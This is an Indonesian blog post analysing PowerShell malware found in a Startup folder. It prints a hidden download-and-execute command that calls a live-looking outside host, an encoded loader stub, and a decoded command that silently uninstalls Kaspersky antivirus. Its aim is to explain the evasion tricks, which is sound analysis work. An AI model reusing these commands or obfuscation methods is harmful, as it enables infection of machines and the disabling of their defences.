Teknik Malware PowerShell Hindari Pendeteksian Antivirus

Saat ini, sebagian besar malware memanfaatkan PowerShell untuk menjalankan aksinya, baik dari men-download file malware lain hingga menjalankan perintah berbahaya lainnya.

Penggunaan script PowerShell tentunya ada tujuannya, salah satunya yaitu agar file yang berisi script tidak mudah terdeteksi oleh antivirus secara umum.

Pada komputer client, saya menemukan file run.bat di folder Startup yang berisi:

cmd /c start /b powershell -w hidden IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString('http://t.bb3'+'u9.com/7p.php?1.1*ipc_bat*sensored*sensored*'+[Environment]::OSVersion.version.Major);bpu ('http://t.bb3'+'u9.com/ipc.jsp?bat_1.1') 

Dari script tersebut dapat kita ketahui jika url yang dipanggil untuk mendownload file adalah t.bb3u9.com. Hingga saat tulisan ini dibuat, url tersebut masih dapat dibuka.

Apabila kita download file PowerShell dari url tersebut, maka dapat dilihat jika script berisi kode yang agak sulit dibaca.

Berikut isi file PowerShell:

$(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07XXXX'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

Namun, cara paling mudah yaitu kita jalankan saja langsung file tersebut via PowerShell ISE. Pastikan untuk hapus terlebih dahulu IEX atau kode lain untuk mengeksekusi malware.

PowerShell Malware

Dari gambar, tampak kode yang masih terkesan susah dibaca, namun dengan cepat kita bisa menebak jika kode tersebut hanya di-reverse dan disisipkan variable sampah.

Sebagai contoh kode berikut:

evitcaretnion/ llatsnin'+'u lla'+'c jtEBvs%%yks'+'repsaK%%Bvs ekil emanjtE erehw tcudorp exe.cimw b/ tr4'+'h0+4h0ats c
/ dmc

Antivirus mungkin akan pintar untuk me-reverse lalu melakukan scan ulang. Namun, jika pun di-reverse maka hasilnya akan menjadi:

cmd /
c sta0h4+0h'+'4rt /b wmic.exe product where Etjname like svB%%Kasper'+'sky%%svBEtj c'+'all u'+'ninstall /nointeractive

Dengan memanfaatkan Find + Replace, kode bersih akan menjadi:

cmd /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive

Teknisnya, malware menggunakan fungsi compression dan replace untuk membuat script PowerShell menjadi tidak terdeteksi oleh antivirus.

Jadi, kalau Anda malas untuk mencari cara men-decode malware PowerShell, cukup jalankan saja dengan aman.